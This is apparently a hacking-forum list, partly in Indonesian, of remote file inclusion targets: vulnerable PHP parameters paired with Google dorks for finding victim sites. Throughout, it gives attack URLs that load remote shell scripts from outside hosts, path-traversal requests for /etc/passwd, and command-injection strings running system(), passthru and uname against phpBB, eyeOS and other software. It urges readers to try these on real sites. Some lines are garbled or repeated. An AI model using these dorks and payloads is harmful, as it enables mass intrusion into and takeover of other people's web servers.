1: Bug /naboard_pnr.php?skin=

Google Dork : inurl:naboard.php

contoh :www.target.com/naboard_pnr.php?skin=http://geocities.com/binushacker/input.txt?

---------------------------------------------------------------------------------------@#
---------------------------------------------------------------------------------------@#
2: Bug /phpAdsNew/view.inc.php?phpAds_path=

Google Dork : "Copyright 2000-2002, PHPAUCTION.ORG"

contoh : www.target.org/phpAdsNew/view.inc.php?phpAds_path=http://geocities.com/binushacker/input.txt?


---------------------------------------------------------------------------------------@#
---------------------------------------------------------------------------------------@#

3: Bug /modules/userstop/userstop.php?exbb[home_path]=

Google Dork : Powered by ExBB

Example : www.target.com/modules/userstop/userstop.php?exbb[home_path]=http://geocities.com/binushacker/input.txt?

---------------------------------------------------------------------------------------@#
---------------------------------------------------------------------------------------@#

Wakakakakakak.... Silakan Praktek Coyz

4: Bug components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=

Google Dork inurl:/com_sitemap


Yang Lain Laen.. Cara Sama Kek Diatas.. Okeh.. Lets Try It!!

default.php?page= inurl:"default.php?page="

folder.php?id= inurl:"folder.php?id="

index.php?Load= inurl:"index.php?Load="

index.php?Language= inurl:"index.php?Language="

hall.php?file= inurl:"hall.php?file="

hall.php?page= inurl:"hall.php?page="

template.php?goto= inurl:"template.php?goto="

video.php?content= inurl:"video.php?content="

pages.php?page= inurl:"pages.php?page="

print.php?page= inurl:"print.php?page="

show.php?page= inurl:"show.php?page="

view.php?page= inurl:"view.php?page="

media.php?page= inurl:"media.php?page="

index1.php?choix= inurl:"index1.php?choix="

index1.php?menu= inurl:"index1.php?menu"

index.php?ort= inurl:"index.php?ort="

index2.php?showpage= inurl:"index2.php?showpage="

index2.php?ascii_seite= inurl:"index2.php?ascii_seite="

index2.php?DoAction= inurl:"index2.php?DoAction="

index.php?canal= inurl:"index.php?canal="

index.php?screen= inurl:"index.php?screen="

index.php?langc= inurl:"index.php?langc="

services.php?page= inurl:"services.php?page="

htmltonuke.php?filnavn= inurl:"htmltonuke.php?filnavn="

ihm.php?p= inurl:"ihm.php?p="

default.php?page= inurl:"default.php?page="

folder.php?id= inurl:"folder.php?id="

index.php?Load= inurl:"index.php?Load="

index.php?Language= inurl:"index.php?Language="

hall.php?file= inurl:"hall.php?file="

hall.php?page= inurl:"hall.php?page="

template.php?goto= inurl:"template.php?goto="

video.php?content= inurl:"video.php?content="

pages.php?page= inurl:"pages.php?page="

print.php?page= inurl:"print.php?page="

show.php?page= inurl:"show.php?page="

view.php?page= inurl:"view.php?page="


/surveys/survey.inc.php?path= inurl:surveys

index.php?body= inurl:"index.php?body="

/classes/adodbt/sql.php?classes_dir= allinurl:adobt sitel

enc/content.php?Home_Path= "powered by doodle cart"

/classified_right.php?language_dir= inurl:classified.php phpbazar

/sources/functions.php?CONFIG[main_path]= "(Powered By ScozNews)"

/sources/template.php?CONFIG[main_path]= "(Powered By ScozNews)"

/embed/day.php?path= intitle:"Login to Calendar"

/includes/dbal.php?eqdkp_root_path= "powered by EQdkp"

/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]= "Powered By Aardvark Topsites PHP 4.2.2"

/includes/kb_constants.php?module_root_path= "Powered by Knowledge Base"

/mcf.php?content= allinurl:"mcf.php" site:.de

/components/com_facileforms/facileforms.frame.php?ff_compath= allinurl:"com_facileforms" site:.ar

skins/advanced/advanced1.php?pluginpath[0]= "Sabdrimer CMS"

/zipndownload.php?PP_PATH= "Powered by: PhotoPost PHP 4.6"

/administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path= inurl:"com_serverstat"

/components/com_zoom/includes/database.php?mosConfig_absolute_path= inurl:"index.php?option="com_zoom"

/main.php?sayfa= inurl:"main.php?sayfa="

/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_p ath= allinurl:com_extended_registration

/addpost_newpoll.php?addpoll=preview&thispath= allinurl:"/ubbthreads/"

/header.php?abspath= "MobilePublisherPHP"

components/com_performs/performs.php?mosConfig_absolute_path= inurl:"com_performs"

administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= inurl:index.php?option=com_remository

impex/ImpExData.php?systempath= intextowered by vbulletin

/modules/vwar/admin/admin.php?vwar_root= allinurl:vwar site:.com

/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]= "powered by phpCOIN 1.2.3"

administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= inurl:.com/index.php?option=com_remository

/tools/send_reminders.php?includedir= allinurl:day.php?date=

/skin/zero_vote/error.php?dir= skin/zero_vote/error.php

/modules/TotalCalendar/about.php?inc_dir= allinurl:/TotalCalendar

/login.php?dir= allinurl:login.php?dir=

/tags.php?BBCodeFile= intitle:"Tagger LE" inurl:tags.php

index.php?pageurl= inurl:"index.php?pageurl=*.php"

/templates/headline_temp.php?nst_inc= allintitle:fusion:news:management:system

index.php?var= inurl:"index.php?var=*.php"

index.php?pagina= inurl:"index.php?pagina=*.php"

index.php?go= inurl:"index.php?go="

index.php?site= inurl:"index.php?site="

phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root= inurl:"phpwcms/index.php?id="

administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path= inurl:".com.*/index.php?option=com_comprofiler"

index.php?pagina= inurl:"index.php?pagina=*.php"

index.php?id= inurl:"index.php?id=*.php"

index1.php?= inurl:"index1.php?=*.php?

index.php?site= inurl:"index.php?site=*.php"

main.php?id= inurl:"main.php?id=*.php"

content.php?page= inurl:"content.php?page=*.php"

admin.php?page= inurl:"admin.php?page=*.php"

lib/gore.php?libpath= inurl:"/SQuery/"

SQuery/lib/gore.php?libpath= inurl:"/SQuery/"

index2.php?p= inurl:"index2.php?p=*.php"

index1.php?go= inurl:"index1.php?go=*.php"

news_detail.php?file= inurl:"news_detail.php?file=*.php"

old_reports.php?file= inurl:"old_reports.php?file=*.php"

index.php?x= inurl:"index.php?x=*.php"

index.php?nic= inurl:"index.php?nic=*.php"

homepage.php?sel= inurl:"homepage.php?sel=*.php"

index.php?sel= inurl:"index.php?sel=*.php"

main.php?x= inurl:"main.php?x=*.php"

components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path= "inurl:com_artlinks"

index2.php?x= inurl:index2.php?x=*.php"

main.php?pagina= inurl:"main.php?pagina=*.php"

test.php?page= allinurl:test.php?page=

components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path= "inurl:com_phpshop"

akocomments.php?mosConfig_absolute_path= inurl:akocomments.php

index.php?page= inurl:"edu/index.php?page=*.php"

*.php?page= inurl:*.php?page=*.php"

index.php?oldal= inurl:"index.php?oldal=*.php"

index.php?lang=gr&file inurl:"index.php?lang=gr&file=*.php"

index.php?pag= inurl:"index.php?pag=*.php"

index.php?incl= inurl:"index.php?incl="

avatar.php?page= inurl:"avatar.php?page="

index.php?_REQUEST=&_REQUEST%5boption%5d=com_conte nt&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absol ute_path= "Mambo is A Free"

index.php?_REQUEST=&_REQUEST%5boption%5d=com_conte nt&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absol ute_path= "Mambo is"

index.php?p= inurl:"edu/index.php?p=*.php"

/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR= allinurl:/xgallery/

index.php?x= inurl:"com/index.php?x=*.php"

index.php?mode= inurl:"com/index.php?mode=*.php"

index.php?stranica= inurl:"index.php?stranica="

index.php?sub= inurl:"il/index.php?sub=*.php"

index.php?id= inurl:"/index.php?id=*.php"

index.php?t= inurl:"/index.php?t=*.php"

index.php?r= inurl:"index.php?r=*.php"

index.php?menu= inurl:"net/index.php?menu=*.php"

index.php?pag= inurl:"com/index.php?pag=*.php"

solpot.html?body= allinurl: "solpot.html?body"

port.php?content= inurlort.php?content=*.php"

index0.php?show= inurl:index0.php?show=*.php"

administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path= inurl:/index.php?option=com_comprofiler"

/tools/send_reminders.php?includedir= allinurl:day.php?date= inurl:/day.php?date=

administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= inurl:/index.php?option=com_remository

/tags.php?BBCodeFile= intitle:"Tagger LE" inurl:tags.php site:br

administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path= inurl:/index.php?option=com_comprofiler"

content.php?page= inurl:"*content.php?page=*.php"

index.php?topic= inurl:"/index.php?topic=*.php"

index.php?u= inurl:"/index.php?u=*.php"

administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php?mosConfig_absolute_ path= inurl:"com_linkdirectory"

administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir= inurl:".tr./components"

modules/My_eGallery/index.php?basepath= inurl:"My_eGallery"

/modules/vwar/admin/admin.php?vwar_root= inurl:"vwar"

index.php?loc= allinurl:.br/index.php?loc=

administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path= inurl:"us/index.php?option=com_comprofiler"

administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir= inurl:"com_cropimage"

/tags.php?BBCodeFile= intitle:"Tagger LE" inurl:tags.php

myevent.php?myevent_path= inurl:myevent.php

/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path= allinurl:"com_uhp"

myevent.php?myevent_path= inurl:"uk/myevent.php

includes/functions.php?phpbb_root_path= powered by Integramod

m2f/m2f_phpbb204.php?m2f_root_path= allinurl:/m2f_usercp.php?

/tags.php?BBCodeFile= intitle:"Tagger LE" inurl:"uk/tags.php

administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= inurl:"us/index.php?option=com_remository

show.php?path= inurl:fclick

show.php?path= inurl:.ac.uk/fclick

administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php?mosConfig_absolute_ path= inurl:".de.*/com_linkdirectory"

administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site= inurl:"com_a6mambocredits"

index.php?template= inurl:"index.php?"

search.php?cutepath= inurl:"search.php?"


show_news.php?cutepath= inurl:"show_news.php?"

page.php?doc= allinurl:"page.php?doc="

administrator/components/com_webring/admin.webring.docs.php?component_dir= inurl:"com_webring"

administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path= inurl:".de.*/com_mgm"

help.php?css_path= inurlhplive site:.ru

components/com_galleria/galleria.html.php?mosConfig_absolute_path= inurl:"com_galleria/"

big.php?pathtotemplate= inurl:".de.*"big.php?"

includes/search.php?GlobalSettings[templatesDirectory]= inurl:".com"search.php?"

interna/tiny_mce/plugins/ibrowser/ibrowser.php?tinyMCE_imglib_include= "Papoo CMS"
/functions.php?include_path= "powered by: phpecard"

modules/My_eGallery/index.php?basepath= inurl:".de.*"My_eGallery"

components/com_galleria/galleria.html.php?mosConfig_absolute_path= inurl:".net.*"com_galleria/"

/includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]= "powered by CubeCart 3.0.6"

/class.mysql.php?path_to_bt_dir= "powered by paBugs 2.0 Beta 3"

/include/footer.inc.php?_AMLconfig[cfg_serverpath]= "powered by AllMyLinks"

/squirrelcart/cart_content.php?cart_isp_root= allinurl:/squirrelcart/

index2.php?to= inurl:"/index2.php?to=*.php"

index.php?load= inurl:"/index.php?load=*.php"

home.php?pagina= inurl:"home.php?pagina="

/modules/coppermine/include/init.inc.php?CPG_M_DIR= allinurl:modules.php?name=coppermine

/modules/Forums/admin/admin_styles.php?phpbb_root_path= allinurl:modules.php?name=forums

/modules/vwar/admin/admin.php?vwar_root= allinurl:modules.php?name=vwar

/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path= allinurl:modules.php?name=PNphpBB2

/modules/My_eGallery/public/displayCategory.php?basepath= allinurl:modules.php?name=my_egallery

/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR= allinurl:modules.php?name=xgallery

/modules/4nAlbum/public/displayCategory.php?basepath= allinurl:modules.php?name=4nAlbum

/include/write.php?dir= allinurl:/zboard/zboard.php

db.php?path_local= inurl:"db.php?path_local="

index.php?site= inurl:"index.php?site="

index.php?url= inurl:"index.php?url="

index.php?p= inurl:"index.php?p="

index.php?openfile= inurl:"index.php?openfile="

index.php?file= inurl:"index.php?file="

index.php?go= inurl:"index.php?go="

index.php?content= inurl:"index.php?content="

index.php?side= inurl:"index.php?side="

index.php?kobr= inurl:"index.php?kobr="

index.php?pg= inurl:"index.php?pg="

index.php?doc= inurl:"index.php?doc="

index.php?l= inurl:"index.php?l="

index.php?a= inurl:"index.php?a="

index.php?principal= inurl:"index.php?principal="

index.php?show= inurl:"index.php?show="

index.php?opcao= inurl:"index.php?opcao="

index.php?conteudo= inurl:"index.php?conteudo="

index.php?meio= inurl:"index.php?meio="

index.php?inc= inurl:"index.php?inc="

index.php?c= inurl:"index.php?c="

index.php?rage= inurl:"index.php?rage="

index.php?arquivo= inurl:"index.php?arquivo="

index.php?nic= inurl:"index.php?nic="

index.php?x= inurl:"index.php?x="

components/com_mtree/Savant2/Savant2_Plugin_stylesheet.php?mosConfig_absolute_p ath= inurl:"com_mtree"

index.php?place= inurl:"index.php?place="

index.php?show= inurl:"index.php?show="

index.php?dsp= inurl:"index.php?dsp="

index.php?dept= inurl:"index.php?dept="

index.php?lg= inurl:"index.php?lg="

index.php?inhalt= inurl:"index.php?inhalt="

index.php?ort= inurl:"index.php?ort="

index.php?pilih= inurl:"index.php?pilih="

principal.php?conteudo= inurl:"principal.php?conteudo="

main.php?site= inurl:"main.php?site="

template.php?pagina= inurl:"template.php?pagina="

contenido.php?sec= inurl:"contenido.php?sec="

index_principal.php?pagina= inurl:"index_principal.php?pagina="

template.php?name= inurl:"template.php?name="

forum.php?act= inurl:"forum.php?act="

home.php?action= inurl:"home.php?action="

home.php?pagina= inurl:"home.php?pagina="

noticias.php?arq= inurl:"noticias.php?arq="

main.php?x= inurl:"main.php?x="

main.php?page= inurl:"main.php?page="

default.php?page= inurl:"default.php?page="

index.php?cont= inurl:"index.php?cont="

index.php?configFile= inurl:"index.php?configFile="

index.php?meio.php= inurl:"index.php?meio.php="

index.php?include= inurl:"index.php?include="

index.php?open= inurl:"index.php?open="

index.php?visualizar= inurl:"index.php?visualizar="

index.php?x= inurl:"index.php?x="

index.php?pag= inurl:"index.php?pag="

index.php?cat= inurl:"index.php?cat="

index.php?action= inurl:"index.php?action="

index.php?do= inurl:"index.php?do="

index2.php?x= inurl:"index2.php?x="

index2.php?content= inurl:"index2.php?content="

main.php?pagina= inurl:"main.php?pagina="

index.phpmain.php?x= inurl:"index.phpmain.php?x="

index.php?link= inurl:"index.php?link="

index.php?canal= inurl:"index.php?canal="

index.php?screen= inurl:"index.php?screen="

index.php?langc= inurl:"index.php?langc="

services.php?page= inurl:"services.php?page="

htmltonuke.php?filnavn= inurl:"htmltonuke.php?filnavn="

ihm.php?p= inurl:"ihm.php?p="

default.php?page= inurl:"default.php?page="

folder.php?id= inurl:"folder.php?id="

index.php?Load= inurl:"index.php?Load="

index.php?Language= inurl:"index.php?Language="

hall.php?file= inurl:"hall.php?file="

hall.php?page= inurl:"hall.php?page="

template.php?goto= inurl:"template.php?goto="

video.php?content= inurl:"video.php?content="

pages.php?page= inurl:"pages.php?page="

print.php?page= inurl:"print.php?page="

show.php?page= inurl:"show.php?page="

view.php?page= inurl:"view.php?page="

media.php?page= inurl:"media.php?page="

index1.php?choix= inurl:"index1.php?choix="

index1.php?menu= inurl:"index1.php?menu"

index.php?ort= inurl:"index.php?ort="

index2.php?showpage= inurl:"index2.php?showpage="

index2.php?ascii_seite= inurl:"index2.php?ascii_seite="

index2.php?DoAction= inurl:"index2.php?DoAction="

index2.php?ID= inurl:"index2.php?ID="

index2.php?url_page= inurl:"index2.php?url_page="

index1.php?dat= inurl:"index1.php?dat="

index1.php?site= inurl:"index1.php?site="

index0.php?show= inurl:"index0.php?show="

home.php?content= inurl:"home.php?content="

port.php?content= inurl:"port.php?content="

main.php?link= inurl:"main.php?link="

home.php?x= inurl:"home.php?x="

index1.php?x= inurl:"index1.php?x="

index2.php?x= inurl:"index2.php?x="

main.php?x= inurl:"main.php?x="

homepage.php?sel= inurl:"homepage.php?sel="

/modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR= allinurl:/xoopsgallery/

/modules/agendax/addevent.inc.php?agendax_path= allinurl:/agendax/

/include/main.php?config[search_disp]=true&include_dir= allinurl:/osticket/

/contrib/yabbse/poc.php?poc_root_path= ntitle:PHPOpenChat exthp

/phpopenchat/contrib/yabbse/poc.php?sourcedir= ntitle:PHPOpenChat exthp

/photoalb/lib/static/header.php?set_menu= allintitle:iPhotoAlbum

/squito/photolist.inc.php?photoroot= "Squitosoft All Rights Reserved"

/bz/squito/photolist.inc.php?photoroot= "Squitosoft All Rights Reserved"

/ppa/inc/functions.inc.php?config[ppa_root_path]= allinurl:**/screens/displayimage.php?pid=*

/spid/lang/lang.php?lang_path= allinurl:**/spid.php allinurl:**/spid.php?cat=*lang=

/classes.php?LOCAL_PATH= "powered by siteframe"

al_initialize.php?alpath= "Powered by AutoLinks Pro"

/modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]= allinurl:*br*/newbb_plus/*

/index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path= "Powered by Mambo" inurl:*gov*

/extensions/moblog/moblog_lib.php?basedir= "powered by pivot"

/app/common/lib/codeBeautifier/Beautifier/Core.php?BEAUT_PATH= "phpCodeGenie v. 3.0.2"

components/com_performs/performs.php?mosConfig_absolute_path= inurl:"com_performs"

modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]= inurl:"AllMyGuests"

/components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path= allinurl:"com_rsgallery"

/components/com_smf/smf.php?mosConfig_absolute_path= allinurl:"com_smf"

/components/com_cpg/cpg.php?mosConfig_absolute_path= index.php?option=com_cpg

administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path= inurl:"com_peoplebook"

/admin_modules/admin_module_deldir.inc.php?config[path_src_include]= "Powered by yappa-ng 2.3.1"
inc/cmses/aedating4CMS.php?dir[inc]= inurl:flashchat site:br
bp_ncom.php?bnrep= "Script réalisé par BinGo PHP"
/components/com_mtree/Savant2/Savant2_Plugin_textarea.php?mosConfig_absolute_pat h= inurl:"/com_mtree/"

/jscript.php?my_ms[root]= intitle:"myspeach" inurl:"chat_exemple.php"

/popup_window.php?site_isp_root= inurl:"Squirrelcart"

/yabbse/Sources/Packages.php?sourcedir= inurl:Yabbse

/include/main.php?config[search_disp]=true&include_dir= allinurl:/osticket/ site:fr

/include/main.php?config[search_disp]=true&include_dir= allinurl:/osticket/ site:us

/includes/functions_portal.php?phpbb_root_path= "powered by Integramod"

agendax/addevent.inc.php?agendax_path=

allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=

allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=

apa_phpinclude.inc.php?apa_module_basedir=

ashheadlines.php?pathtoashnews=

ashnews.php?pathtoashnews=

bb_lib/checkdb.inc.php?libpach=

becommunity/community/index.php?from_market=Y&pageurl=

becommunity/community/index.php?pageurl=

bug_sponsorship_list_view_inc.php?t_core_path=
classes.php?LOCAL_PATH=
coppermine/themes/maze/theme.php?THEME_DIR=
default.php?page=
demo/includes/init.php?user_inc=
derniers_commentaires.php?rep=
e107/e107_handlers/secure_img_render.php?p=
extensions/moblog/moblog_lib.php?basedir=
forum/include/common.php?pun_root=
Gallery/displayCategory.php?basepath=
GradeMap/index.php?page=
inc/shows.inc.php?cutepath=
inc/tell_a_friend.inc.php?script_root=
include/db.php?GLOBALS[rootdp]=
include/livre_include.php?no_connect=lol&chem_absolu=
include/new-visitor.inc.php?lvc_include_dir=
includes/db.php?phpbb_root_path=
includes/header.php?systempath=
index.inc.php?PATH_Includes=
index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=
index.php?action=
index.php?cat=
index.php?conteudo=
index.php?from_market=Y&pageurl=
index1.php?p=
index2.php?content=
index2.php?includes_dir=
index2.php?x=
jaf/index.php?show=
index.php?user=english&l=1&t=1&a=
library/editor/editor.php?root=
library/lib.php?root=
main.php?page=
main.php?x=
modules/4nAlbum/public/displayCategory.php?basepath=
modules/agendax/addevent.inc.php?agendax_path=
modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=
modules/coppermine/include/init.inc.php?CPG_M_DIR=
modules/coppermine/themes/coppercop/theme.php?THEME_DIR=
modules/coppermine/themes/default/theme.php?THEME_DIR=
modules/mod_mainmenu.php?mosConfig_absolute_path=
modules/My_eGallery/public/displayCategory.php?basepath=
modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=
modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=
modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=
myPHPCalendar/admin.php?cal_dir=
nphp/nphpd.php?nphp_config[LangFile]=
path_to_athena/athena.php?athena_dir=
path_to_phpgreetz/content.php?content=
path_to_qnews/q-news.php?id=
pivot/modules/module_db.php?pivot_path=
poll/admin/common.inc.php?base_path=
pollvote/pollvote.php?pollname=
protection.php?action=logout&siteurl=
shoutbox/expanded.php?conf=
sources/post.php?fil_config=
vCard/admin/define.inc.php?match=
yabbse/Sources/Packages.php?sourcedir=
zentrack/index.php?configFile=
phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=

===============================================================================
1. allinurl:my_egallery site:.org
/modules/My_eGallery/public/displayCategory.php?basepath=

2. allinurl:xgallery site:.org
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

3. allinurl:coppermine site:.org
/modules/coppermine/themes/default/theme.php?THEME_DIR=

4. allinurl:4nAlbum site:.org
/modules/4nAlbum/public/displayCategory.php?basepath=

5. allinurl:PNphpBB2 site:.org 
/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=

6. allinurl:ihm.php?p= 

7. Keyword : "powered by AllMyLinks"
/include/footer.inc.php?_AMLconfig[cfg_serverpath]=

8. allinurl:/modules.php?name=allmyguests
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

9. allinurl:/Popper/index.php?
/Popper/index.php?childwindow.inc.php?form=

10.  google = kietu/hit_js.php, allinurl:kietu/hit_js.php
yahoo = by Kietu? v 3.2
/kietu/index.php?kietu[url_hit]=

11. keyword : "Powered by phpBB 2.0.6"
/html&highlight=%2527.include($_GET[a]),exit.%2527&a=

12. keyword : "powered by CubeCart 3.0.6"
/includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]=

13. keyword : "powered by paBugs 2.0 Beta 3"
/class.mysql.php?path_to_bt_dir=

14. allinurl:"powered by AshNews", allinurl:AshNews atau allinurl: /ashnews.php
/ashnews.php?pathtoashnews=

15. keyword : /phorum/login.php
/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=

16. allinurl:ihm.php?p=*

14. keyword : "powered eyeOs"
/eyeos/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.eyeapp&_SESSION%5busr%5d=root&_SESSION%5bapps%5d%5beyeOptions.eyeapp%5d%5bwrapup%5d=system($cmd);&cmd=id
diganti dengan :
/eyeos/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.eyeapp&_SESSION%5busr%5d=root&_SESSION%5bapps%5d%5beyeOptions.eyeapp%5d%5bwrapup%5d=include($_GET%5ba%5d);&a=

15. allinurl:.php?bodyfile=

16. allinurl:/includes/orderSuccess.inc.php?glob=
/includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]=

17. allinurl:modules.php?name=Forums
/modules.php?name=

18. allinurl:/default.php?page=home

19. allinurl:/folder.php?id=

20. allinurl:main.php?pagina=
/paginedinamiche/main.php?pagina=

21. Key Word: ( Nuke ET Copyright © 2004 por Truzone. ) or ( allinurl:*.edu.*/modules.php?name=allmyguests ) or ( "powered by AllMyGuests")
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

22. allinurl:application.php?base_path=
/application.php?base_path=

23. allinurl:phplivehelper
/phplivehelper/initiate.php?abs_path=

24. allinurl:phpnuke
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

25. key word : "powered by Fantastic News v2.1.2"
/archive.php?CONFIG[script_path]=

26. keyword: "powered by smartblog" AND inurl:?page=login
/index.php?page=

27. allinurl:/forum/
/forum/admin/index.php?inc_conf=

28. keyword:"Powered By FusionPHP"
/templates/headline_temp.php?nst_inc=

29. allinurl:shoutbox/expanded.php filetype:php
/shoutbox/expanded.php?conf=

30. allinurl: /osticket/
/osticket/include/main.php?config[search_disp]=true&include_dir=

31. keyword : "Powered by iUser"
/common.php?include_path=

32. allinurl: "static.php?load="
/static.php?load=

33. keyworld : /phpcoin/login.php
/phpcoin/config.php?_CCFG[_PKG_PATH_DBSE]=

34. keyworld: allinurl:/phpGedview/login.php site:
/help_text_vars.php?dir&PGV_BASE_DIRECTORY=

35. allinurl:/folder.php?id=
/classes.php?LOCAL_PATH=

36. phpGedView 2.65.1
I - PHP Injection or arbitrary file access
(HIGH Risk BUT user must be Admin)

- -- HTTP Request --

http://[target]/[phpGedView-directory]/editconfig_gedcom.php?gedcom_conf
ig=../../../../../../etc/passwd
or
http://[target]/[phpGedView-directory]/editconfig_gedcom.php
POSTDATA: gedcom_config=../../../../../../etc/passwd

- -- HTTP Request --

Code impacted : editconfig_gedcom.php

61:if (empty($gedcom_config)) {
62: if (!empty($_POST["gedcom_config"])) $gedcom_config = $_POST["gedcom_config"];
63: else $gedcom_config = "config_gedcom.php";
64:}
65:
66:require($gedcom_config);

The both GET/POST requets will work evenif PHP register_globals is Off.

-------------------------------------------

II - PHP Injection
(HIGH Risk no authentication needed)

- -- HTTP Request --

http://[target]/[phpGedView-directory]/index/[GED_File]_conf.php?PGV_BAS
E_DIRECTORY=http://attacker&THEME_DIR=/

- -- HTTP Request --

Code impacted : [GED_File]_conf.php

123:if (file_exists($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php")) require($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php");
124:else {
125: $THEME_DIR = $PGV_BASE_DIRECTORY."themes/standard/";
126: require($THEME_DIR."theme.php");
127: }

The require call is only vulnerable when PHP register_globals is On.

In this case you have to obtain the name of the GEDCOM File used. Just perform
a http://[target]/session.php request the GEDCOM file will be in argument of the
login.php call.

The attacker has to create on his web site a directory call themes/standard, and
a file theme.php

For example: theme.php = <?php print "<?php phpinfo();?>" ;?>

and the request, will execute the phpinfo() command on the vulnerable target.


37. inurl:signup.php?usertype=pf
 http://www.contoh.com/common.inc.php?CFG[libdir]=http://www.geocities.com/k4k3_rgb/test?cmd


=============================================================================
/temp_eg/phpgwapi/setup/tables_update.inc.php?appdir= 

/includes/header.php?systempath= 

/Gallery/displayCategory.php?basepath= 

/index.inc.php?PATH_Includes= 

/nphp/nphpd.php?nphp_config[LangFile]= 

/include/db.php?GLOBALS[rootdp]= 

/ashnews.php?pathtoashnews= 

/ashheadlines.php?pathtoashnews= 

/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR= 

/demo/includes/init.php?user_inc= 

/jaf/index.php?show= 

/inc/shows.inc.php?cutepath= 

/poll/admin/common.inc.php?base_path= 

/pollvote/pollvote.php?pollname= 

/sources/post.php?fil_config= 

/modules/My_eGallery/public/displayCategory.php?basepath= 

/bb_lib/checkdb.inc.php?libpach= 

/include/livre_include.php?no_connect=lol&chem_absolu= 

/index.php?from_market=Y&pageurl= 

/modules/mod_mainmenu.php?mosConfig_absolute_path= 

/pivot/modules/module_db.php?pivot_path= 

/modules/4nAlbum/public/displayCategory.php?basepath= 

/derniers_commentaires.php?rep= 

/modules/coppermine/themes/default/theme.php?THEME_DIR= 

/modules/coppermine/include/init.inc.php?CPG_M_DIR= 

/modules/coppermine/themes/coppercop/theme.php?THEME_DIR= 

/coppermine/themes/maze/theme.php?THEME_DIR= 

/allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]= 

/allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]= 

/myPHPCalendar/admin.php?cal_dir= 

/agendax/addevent.inc.php?agendax_path= 

/modules/mod_mainmenu.php?mosConfig_absolute_path= 

/modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR= 

/main.php?page= 

/default.php?page= 

/index.php?action= 

/index1.php?p= 

/index2.php?x= 

/index2.php?content= 

/index.php?conteudo= 

/index.php?cat= 

/include/new-visitor.inc.php?lvc_include_dir= 

/modules/agendax/addevent.inc.php?agendax_path= 

/shoutbox/expanded.php?conf= 

/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR= 

/pivot/modules/module_db.php?pivot_path= 

/library/editor/editor.php?root= 

/library/lib.php?root= 

/e107/e107_handlers/secure_img_render.php?p= 

/zentrack/index.php?configFile= 

/main.php?x= 

/becommunity/community/index.php?pageurl= 

/GradeMap/index.php?page=

/index4.php?body= 

/side/index.php?side= 

/main.php?page= 

/cgi-bin/diary/sdy.cgi?md=past&tg=200405.dat|uname%20-a| 

/es/index.php?action= 

/index.php?sec= 

/index.php?main= 

/index.php?sec= 

/index.php?menu= 

/html/page.php?page= 

/page.php?view= 

/index.php?menu= 

/main.php?view= 

/index.php?page= 

/content.php?page= 

/main.php?page= 

/index.php?x= 

/main_site.php?page= 

/index.php?L2= 

/phpBB2/viewtopic.php?t=36&highlight=%2527.passthru($HTTP_GET_VARS[sh]).%2527&sh=ls%20-al 

/content.php?page= 

/main.php?page= 

/index.php?x= 

/main_site.php?page= 

/index.php?L2= 

/phpBB2/viewtopic.php?t=36&highlight=%2527.passthru($HTTP_GET_VARS[sh]).%2527&sh=ls%20-al 

